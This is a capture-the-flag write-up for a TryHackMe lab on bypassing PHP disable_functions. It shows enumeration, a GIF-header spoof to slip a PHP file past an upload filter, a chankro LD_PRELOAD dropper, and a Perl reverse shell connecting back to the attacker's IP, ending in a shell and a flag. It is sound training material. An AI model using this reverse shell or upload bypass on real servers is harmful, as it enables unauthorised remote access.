Bypass Disable Functions - Write-up - TryHackMe

Information

Room#

  • Name: Bypass Disable Functions
  • Profile: tryhackme.com
  • Difficulty: Info
  • Description: Practice bypassing disabled dangerous features that run operating system commands or start processes.

Bypass Disable Functions

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S nmap ffuf chankro

Network enumeration#

Let's add a custom hostname to the machine.

➜ grep bypassdisablefunctions /etc/hosts
10.10.154.25 bypassdisablefunctions.thm

Port and service enumeration with nmap.

# Nmap 7.95 scan initiated Sun Mar 30 19:01:25 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap bypassdisablefunctions.thm
Nmap scan report for bypassdisablefunctions.thm (10.10.154.25)
Host is up, received echo-reply ttl 63 (0.065s latency).
Not shown: 65336 closed tcp ports (reset), 197 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)
|   256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)
|_  256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Ecorp - Jobs
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 30 19:02:08 2025 -- 1 IP address (1 host up) scanned in 42.53 seconds

Nothing to see outside the web server.

Web discovery & enumeration#

On the homepage there is nothing but a link to http://bypassdisablefunctions.thm/cv.php.

Let's use ffuf to fuzz a bit around and identify potential files and folders.

➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[…]
uploads                 [Status: 301, Size: 342, Words: 20, Lines: 10, Duration: 54ms]
assets                  [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 67ms]
server-status           [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]

➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[…]
index.html              [Status: 200, Size: 12012, Words: 3434, Lines: 244, Duration: 64ms]
.htaccess               [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]
phpinfo.php             [Status: 200, Size: 68311, Words: 3202, Lines: 747, Duration: 87ms]
[…]
cv.php                  [Status: 200, Size: 4153, Words: 1078, Lines: 98, Duration: 81ms]

There are a /uploads/ folder as well as a phpinfo.php file.

On http://bypassdisablefunctions.thm/phpinfo.php, we can check the directives that are important for security.

  • disable_functions: exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
  • open_basedir: empty
  • $_SERVER['DOCUMENT_ROOT']: /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db

On the CV page it says Upload a real image, if we do so we can find it back at http://bypassdisablefunctions.thm/uploads/ where there is a directory listing. However, if we upload a PHP file, it is rejected (no error, but the file is not available on /uploads/). The server doesn't care about the extension .php or the Content-Type application/x-php so it must be checking the file type directly with file or magic header library. So what I'll do is creating a file gif.txt containing the GIF magic bytes plus a semicolon and a new line:

GIF89a;

And I'll create a simple test file noraj.php using none of the blocked function:

<?php echo 'noraj'; ?>

Then I'll concatenate both so that my PHP script spoofs a GIF signature header.

cat gif.txt noraj.php > noraj_obfu.php

When uploading the spoofed test file, this time we get a different response:

 OK
>

And at http://bypassdisablefunctions.thm/uploads/noraj_obfu.php we have GIF89a; noraj displayed. The test went well, now we can go with the real payload.

PHP disable_function bypass#

The issue is that a lot of functions that allow easy command execution are banned. So to bypass that we'll use chankro.

Tool to bypass disable_functions and open_basedir in PHP by calling sendmail and setting LD_PRELOAD environment variable

Ref

I already used this tool during ECSC 2019 Quals.

First, I'll create the reverse shell (rev.sh) I want to use on revshells.com (OS: Linux, Type: Perl, Shell: /bin/bash, IP: THM VPN one, Port: 80).

perl -e 'use Socket;$i="10.21.34.47";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Then let's use chankro to generate the bypass PHP dropper. We already found the path of the web root on the phpinfo.php page.

chankro --arch 64 --input rev.sh --output dropper.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads

As during the previous test, we need to spoof the GIF signature.

cat gif.txt dropper.php > dropper_obfu.php

By the way, little tips, to be able to bind port under 1024 without root:

sudo sysctl -w net.ipv4.ip_unprivileged_port_start=0 | sudo tee -a /etc/sysctl.d/99-custom.conf

Launch a listener and trigger dropper_obfu.php to get a shell.

➜ ncat -lvnp 80
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.154.25:42852.
bash: cannot set terminal process group (743): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$
www-data@ubuntu:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/$ ls -lh /home
total 4.0K
drwxr-xr-x 4 s4vi s4vi 4.0K Jun 23  2021 s4vi
www-data@ubuntu:/$ cd /home/s4vi
www-data@ubuntu:/home/s4vi$ ls -lhA .
total 36K
-rw------- 1 root root 6.0K Jun 23  2021 .bash_history
-rw-r--r-- 1 s4vi s4vi  220 Jun 22  2021 .bash_logout
-rw-r--r-- 1 s4vi s4vi 3.7K Jun 22  2021 .bashrc
drwx------ 2 s4vi s4vi 4.0K Jun 22  2021 .cache
drwxrwxr-x 2 s4vi s4vi 4.0K Jun 23  2021 .nano
-rw-r--r-- 1 s4vi s4vi  655 Jun 22  2021 .profile
-rw-r--r-- 1 s4vi s4vi    0 Jun 23  2021 .sudo_as_admin_successful
-rw-r--r-- 1 root root  183 Jun 23  2021 .wget-hsts
-rw-rw-r-- 1 s4vi s4vi   37 Jun 23  2021 flag.txt
www-data@ubuntu:/home/s4vi$ cat flag.txt
thm{…}

Post-exploitation exploration#

/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/cv.php

<!DOCTYPE html>
<html lang="en">
  <head>
[…]
  </head>

  <body>
      <!-- Header Section Start -->
[…]
      <!-- Header Section End -->

      <div class="search-container">
      </div>
    </section>
    <!-- end intro section -->
    </div>

    <!-- Find Job Section Start -->
    <section class="find-job section">
      <div class="container">
        <h2 class="section-title">Send your cv in image format</h2>
        <div class="row">
          <form enctype="multipart/form-data" action="" method="POST">
            <input name="file" type="file" />
            <input type="submit" value="Subir archivo" />
        </form>
        <div>
          <?php
            $mimetype = mime_content_type($_FILES['file']['tmp_name']);
            if(in_array($mimetype, array('image/jpeg', 'image/gif', 'image/png'))) {
            move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
                echo 'OK';
            } else {
            echo 'Upload a real image';
            exit;
           }
          ?>
        </div>>
          </div>
        </div>
    </section>
    </footer>
    <!-- Main JS  -->
[…]
  </body>
</html>
grep -vP '(?:^\;)|(?:^$)' /etc/php/7.0/apache2/php.ini
[PHP]
engine = On
short_open_tag = Off
precision = 14
output_buffering = 4096
zlib.output_compression = Off
implicit_flush = Off
unserialize_callback_func =
serialize_precision = 17
open_basedir = none
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl
_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getprior
ity,pcntl_setpriority,
[…]

/etc/apache2/sites-enabled/000-default.conf

<VirtualHost *:80>
[…]
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
[…]
</VirtualHost>
Share